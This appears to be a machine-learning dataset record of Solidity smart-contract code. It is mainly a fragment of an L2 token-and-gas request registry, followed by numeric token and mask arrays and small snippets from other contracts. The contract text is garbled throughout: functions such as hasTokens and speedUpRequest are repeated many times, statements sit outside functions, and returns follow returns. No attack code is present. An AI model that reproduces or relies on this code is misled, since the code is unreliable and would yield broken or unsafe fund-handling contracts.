bytes calldata l1Calldata,
uint256 gasLimit,
uint256 gasPrice,
uint256 tip,
InputToken[] calldata inputTokens
) public payable requiresAuth returns (bytes32 execHash) {
require(inputTokens.length <= MAX_INPUT_TOKENS, "TOO_MANY_INPUTS");
require(msg.value == gasLimit.mul(gasPrice).add(tip), "BAD_ETH_VALUE");
systemNonce += 1;
execHash = NovaExecHashLib.compute({
nonce: systemNonce,
strategy: strategy,
l1Calldata: l1Calldata,
gasPrice: gasPrice,
gasLimit: gasLimit
});
getRequestStrategy[execHash] = strategy;
getRequestCalldata[execHash] = l1Calldata;
getRequestGasLimit[execHash] = gasLimit;
getRequestGasPrice[execHash] = gasPrice;
getRequestTip[execHash] = tip;
getRequestNonce[execHash] = systemNonce;
emit RequestExec(execHash, strategy);
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransferFrom(msg.sender, address(this), inputTokens[i].amount);
requestInputTokens[execHash].push(inputTokens[i]);
}
}
function requestExecWithTimeout(
address strategy,
bytes calldata l1Calldata,
uint256 gasLimit,
uint256 gasPrice,
uint256 tip,
InputToken[] calldata inputTokens,
uint256 autoUnlockDelaySeconds
) external payable returns (bytes32 execHash) {
execHash = requestExec(strategy, l1Calldata, gasLimit, gasPrice, tip, inputTokens);
unlockTokens(execHash, autoUnlockDelaySeconds);
}
function claimInputTokens(bytes32 execHash) external requiresAuth {
InputTokenRecipientData storage inputTokenRecipientData = getRequestInputTokenRecipientData[execHash];
require(inputTokenRecipientData.recipient != address(0), "NO_RECIPIENT");
require(!inputTokenRecipientData.isClaimed, "ALREADY_CLAIMED");
inputTokenRecipientData.isClaimed = true;
emit ClaimInputTokens(execHash);
InputToken[] memory inputTokens = requestInputTokens[execHash];
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransfer(inputTokenRecipientData.recipient, inputTokens[i].amount);
}
}
function claimInputTokens(bytes32 execHash) external requiresAuth {
InputTokenRecipientData storage inputTokenRecipientData = getRequestInputTokenRecipientData[execHash];
require(inputTokenRecipientData.recipient != address(0), "NO_RECIPIENT");
require(!inputTokenRecipientData.isClaimed, "ALREADY_CLAIMED");
inputTokenRecipientData.isClaimed = true;
emit ClaimInputTokens(execHash);
InputToken[] memory inputTokens = requestInputTokens[execHash];
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransfer(inputTokenRecipientData.recipient, inputTokens[i].amount);
}
}
function unlockTokens(bytes32 execHash, uint256 unlockDelaySeconds) public requiresAuth {
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
require(getRequestUnlockTimestamp[execHash] == 0, "UNLOCK_ALREADY_SCHEDULED");
require(getRequestCreator[execHash] == msg.sender, "NOT_CREATOR");
require(unlockDelaySeconds >= MIN_UNLOCK_DELAY_SECONDS, "DELAY_TOO_SMALL");
uint256 unlockTimestamp = block.timestamp.add(unlockDelaySeconds);
getRequestUnlockTimestamp[execHash] = unlockTimestamp;
emit UnlockTokens(execHash, unlockTimestamp);
}
function relockTokens(bytes32 execHash) external requiresAuth {
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
(bool tokensUnlocked, ) = areTokensUnlocked(execHash);
require(tokensUnlocked, "NOT_UNLOCKED");
require(getRequestCreator[execHash] == msg.sender, "NOT_CREATOR");
delete getRequestUnlockTimestamp[execHash];
emit RelockTokens(execHash);
}
function withdrawTokens(bytes32 execHash) external requiresAuth {
(bool tokensUnlocked, ) = areTokensUnlocked(execHash);
require(tokensUnlocked, "NOT_UNLOCKED");
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
address creator = getRequestCreator[execHash];
emit WithdrawTokens(execHash);
creator.safeTransferETH(getRequestGasPrice[execHash].mul(getRequestGasLimit[execHash]).add(getRequestTip[execHash]));
InputToken[] memory inputTokens = requestInputTokens[execHash];
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransfer(creator, inputTokens[i].amount);
}
}
getRequestInputTokenRecipientData[execHash] = InputTokenRecipientData({recipient: creator, isClaimed: true});
function withdrawTokens(bytes32 execHash) external requiresAuth {
(bool tokensUnlocked, ) = areTokensUnlocked(execHash);
require(tokensUnlocked, "NOT_UNLOCKED");
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
address creator = getRequestCreator[execHash];
emit WithdrawTokens(execHash);
creator.safeTransferETH(getRequestGasPrice[execHash].mul(getRequestGasLimit[execHash]).add(getRequestTip[execHash]));
InputToken[] memory inputTokens = requestInputTokens[execHash];
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransfer(creator, inputTokens[i].amount);
}
}
function speedUpRequest(bytes32 execHash, uint256 gasPrice) external payable requiresAuth returns (bytes32 newExecHash) {
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
require(getRequestCreator[execHash] == msg.sender, "NOT_CREATOR");
require(getRequestDeathTimestamp[execHash] == 0, "ALREADY_SPED_UP");
uint256 previousGasPrice = getRequestGasPrice[execHash];
require(gasPrice > previousGasPrice, "GAS_PRICE_MUST_BE_HIGHER");
uint256 switchTimestamp = MIN_UNLOCK_DELAY_SECONDS.add(block.timestamp);
uint256 tokenUnlockTimestamp = getRequestUnlockTimestamp[execHash];
require(tokenUnlockTimestamp == 0 || tokenUnlockTimestamp > switchTimestamp, "UNLOCK_BEFORE_SWITCH");
address previousStrategy = getRequestStrategy[execHash];
bytes memory previousCalldata = getRequestCalldata[execHash];
uint256 previousGasLimit = getRequestGasLimit[execHash];
require(msg.value == gasPrice.sub(previousGasPrice).mul(previousGasLimit), "BAD_ETH_VALUE");
systemNonce += 1;
newExecHash = NovaExecHashLib.compute({
nonce: systemNonce,
strategy: previousStrategy,
l1Calldata: previousCalldata,
gasLimit: previousGasLimit,
gasPrice: gasPrice
});
getRequestStrategy[newExecHash] = previousStrategy;
getRequestCalldata[newExecHash] = previousCalldata;
getRequestGasLimit[newExecHash] = previousGasLimit;
getRequestGasPrice[newExecHash] = gasPrice;
getRequestTip[newExecHash] = getRequestTip[execHash];
getRequestNonce[execHash] = systemNonce;
getResubmittedRequest[execHash] = newExecHash;
emit SpeedUpRequest(execHash, newExecHash, systemNonce, switchTimestamp);
}
CROSS DOMAIN MESSENGER ONLY FUNCTION
function speedUpRequest(bytes32 execHash, uint256 gasPrice) external payable requiresAuth returns (bytes32 newExecHash) {
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
require(getRequestCreator[execHash] == msg.sender, "NOT_CREATOR");
require(getRequestDeathTimestamp[execHash] == 0, "ALREADY_SPED_UP");
uint256 previousGasPrice = getRequestGasPrice[execHash];
require(gasPrice > previousGasPrice, "GAS_PRICE_MUST_BE_HIGHER");
uint256 switchTimestamp = MIN_UNLOCK_DELAY_SECONDS.add(block.timestamp);
uint256 tokenUnlockTimestamp = getRequestUnlockTimestamp[execHash];
require(tokenUnlockTimestamp == 0 || tokenUnlockTimestamp > switchTimestamp, "UNLOCK_BEFORE_SWITCH");
address previousStrategy = getRequestStrategy[execHash];
bytes memory previousCalldata = getRequestCalldata[execHash];
uint256 previousGasLimit = getRequestGasLimit[execHash];
require(msg.value == gasPrice.sub(previousGasPrice).mul(previousGasLimit), "BAD_ETH_VALUE");
systemNonce += 1;
newExecHash = NovaExecHashLib.compute({
nonce: systemNonce,
strategy: previousStrategy,
l1Calldata: previousCalldata,
gasLimit: previousGasLimit,
gasPrice: gasPrice
});
getRequestStrategy[newExecHash] = previousStrategy;
getRequestCalldata[newExecHash] = previousCalldata;
getRequestGasLimit[newExecHash] = previousGasLimit;
getRequestGasPrice[newExecHash] = gasPrice;
getRequestTip[newExecHash] = getRequestTip[execHash];
getRequestNonce[execHash] = systemNonce;
getResubmittedRequest[execHash] = newExecHash;
emit SpeedUpRequest(execHash, newExecHash, systemNonce, switchTimestamp);
}
CROSS DOMAIN MESSENGER ONLY FUNCTION
getRequestCreator[newExecHash] = msg.sender;
getRequestUncle[newExecHash] = execHash;
getRequestDeathTimestamp[execHash] = switchTimestamp;
function execCompleted(
bytes32 execHash,
address rewardRecipient,
bool reverted,
uint256 gasUsed
) external onlyFromCrossDomainAccount(L1_NovaExecutionManagerAddress) {
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
require(rewardRecipient != address(0), "INVALID_RECIPIENT");
uint256 tip = getRequestTip[execHash];
uint256 gasLimit = getRequestGasLimit[execHash];
uint256 gasPrice = getRequestGasPrice[execHash];
address requestCreator = getRequestCreator[execHash];
bytes32 resubmittedRequest = getResubmittedRequest[execHash];
uint256 gasPayment = gasPrice.mul(gasUsed > gasLimit ? gasLimit : gasUsed);
getRequestInputTokenRecipientData[execHash].recipient = reverted ? requestCreator : rewardRecipient;
emit ExecCompleted(execHash, rewardRecipient, reverted, gasUsed);
rewardRecipient.safeTransferETH(gasPayment.add(reverted ? 0 : tip));
requestCreator.safeTransferETH(
gasLimit.mul(gasPrice).sub(gasPayment).add(reverted ? tip : 0).add(
resubmittedRequest != bytes32(0) ? getRequestGasPrice[resubmittedRequest].sub(gasPrice).mul(gasLimit) : 0
)
);
}
VIEW FUNCTIONS
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
} else {
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
} else {
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
return (false, 0);
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
return (false, 0);
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
return (false, uncleDeathTimestamp);
}
}
return (true, 0);
function areTokensUnlocked(bytes32 execHash) public view returns (bool unlocked, uint256 changeTimestamp) {
uint256 tokenUnlockTimestamp = getRequestUnlockTimestamp[execHash];
if (tokenUnlockTimestamp == 0) {
unlocked = false;
changeTimestamp = 0;
unlocked = block.timestamp >= tokenUnlockTimestamp;
changeTimestamp = unlocked ? 0 : tokenUnlockTimestamp;
}
}
function areTokensUnlocked(bytes32 execHash) public view returns (bool unlocked, uint256 changeTimestamp) {
uint256 tokenUnlockTimestamp = getRequestUnlockTimestamp[execHash];
if (tokenUnlockTimestamp == 0) {
unlocked = false;
changeTimestamp = 0;
unlocked = block.timestamp >= tokenUnlockTimestamp;
changeTimestamp = unlocked ? 0 : tokenUnlockTimestamp;
}
}
} else {
}
| 472,378 | [
1,
8182,
364,
20092,
19,
5577,
603,
511,
22,
358,
752,
471,
10680,
3285,
18,
225,
9797,
3606,
2743,
628,
326,
511,
21,
67,
50,
16739,
3210,
1318,
3970,
279,
6828,
2461,
31086,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
511,
22,
67,
50,
16739,
4243,
353,
3123,
16,
19742,
3748,
1526,
288,
203,
565,
1450,
14060,
5912,
5664,
364,
1758,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
27573,
24023,
55,
203,
203,
565,
2254,
5034,
1071,
5381,
4552,
67,
15934,
67,
8412,
55,
273,
1381,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
6989,
67,
2124,
6589,
67,
26101,
67,
11609,
273,
11631,
31,
203,
203,
203,
10792,
24508,
13269,
20972,
16302,
11689,
10203,
2347,
15553,
203,
203,
565,
1758,
1071,
511,
21,
67,
50,
16739,
3210,
1318,
1887,
31,
203,
203,
683,
9454,
18035,
560,
374,
18,
27,
18,
26,
31,
203,
5666,
288,
9890,
10477,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
15949,
19,
9890,
10477,
18,
18281,
14432,
203,
5666,
288,
45,
654,
39,
3462,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
654,
39,
3462,
19,
45,
654,
39,
3462,
18,
18281,
14432,
203,
5666,
288,
9890,
654,
39,
3462,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
654,
39,
3462,
19,
9890,
654,
39,
3462,
18,
18281,
14432,
203,
5666,
288,
1730,
97,
628,
8787,
86,
12954,
17,
5909,
7053,
19,
18281,
81,
340,
19,
4816,
19,
1944,
19,
1730,
18,
18281,
14432,
203,
5666,
288,
50,
16739,
1905,
2310,
5664,
97,
628,
25165,
31417,
19,
50,
16739,
1905,
2
] |
./full_match/137/0x929ac147F87e7ae880a979C9C3B53302E2247bbB/sources/jizhi.sol | solhint-disable-next-line avoid-low-level-calls Look for revert reason and bubble it up if present The easiest way to bubble the revert reason is using memory via assembly solhint-disable-next-line no-inline-assembly | function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
| 4,696,961 | [
1,
18281,
11317,
17,
8394,
17,
4285,
17,
1369,
4543,
17,
821,
17,
2815,
17,
12550,
10176,
364,
15226,
3971,
471,
21577,
518,
731,
309,
3430,
1021,
7264,
77,
395,
4031,
358,
21577,
326,
15226,
3971,
353,
1450,
3778,
3970,
19931,
3704,
11317,
17,
8394,
17,
4285,
17,
1369,
1158,
17,
10047,
17,
28050,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
389,
915,
26356,
620,
12,
2867,
1018,
16,
1731,
3778,
501,
16,
2254,
5034,
732,
77,
620,
16,
533,
3778,
9324,
13,
3238,
1135,
261,
3890,
3778,
13,
288,
203,
202,
6528,
12,
291,
8924,
12,
3299,
3631,
315,
1887,
30,
745,
358,
1661,
17,
16351,
8863,
203,
202,
203,
202,
430,
261,
4768,
13,
288,
203,
202,
2463,
327,
892,
31,
203,
202,
430,
261,
2463,
892,
18,
2469,
405,
374,
13,
288,
203,
202,
203,
202,
28050,
288,
203,
202,
1810,
327,
892,
67,
1467,
519,
312,
945,
12,
2463,
892,
13,
203,
202,
266,
1097,
12,
1289,
12,
1578,
16,
327,
892,
3631,
327,
892,
67,
1467,
13,
203,
202,
97,
203,
202,
266,
1097,
12,
1636,
1079,
1769,
203,
202,
97,
203,
202,
97,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x1Ef92666550De8b1bdD530Ad03a8de14E1fBbaa4/sources/contracts/PawfuryV1.sol | * @dev Set step increment role to increment current step @param _role address/ | function setStepIncrementRole(address _role) external onlyOwner {
stepIncrementRole = _role;
}
| 8,343,489 | [
1,
694,
2235,
5504,
2478,
358,
5504,
783,
2235,
225,
389,
4615,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
4160,
10798,
2996,
12,
2867,
389,
4615,
13,
3903,
1338,
5541,
288,
203,
3639,
2235,
10798,
2996,
273,
389,
4615,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x76998688606cBDBaaeC22f45AF549e7519Fa642D/sources/contracts/L1/tss/TssStakingSlashing.sol | * @notice check two bytes for equality/ | function isEqual(bytes memory byteListA, bytes memory byteListB) public pure returns (bool) {
if (byteListA.length != byteListB.length) return false;
for (uint256 i = 0; i < byteListA.length; i++) {
if (byteListA[i] != byteListB[i]) return false;
}
return true;
}
| 1,961,771 | [
1,
1893,
2795,
1731,
364,
14958,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
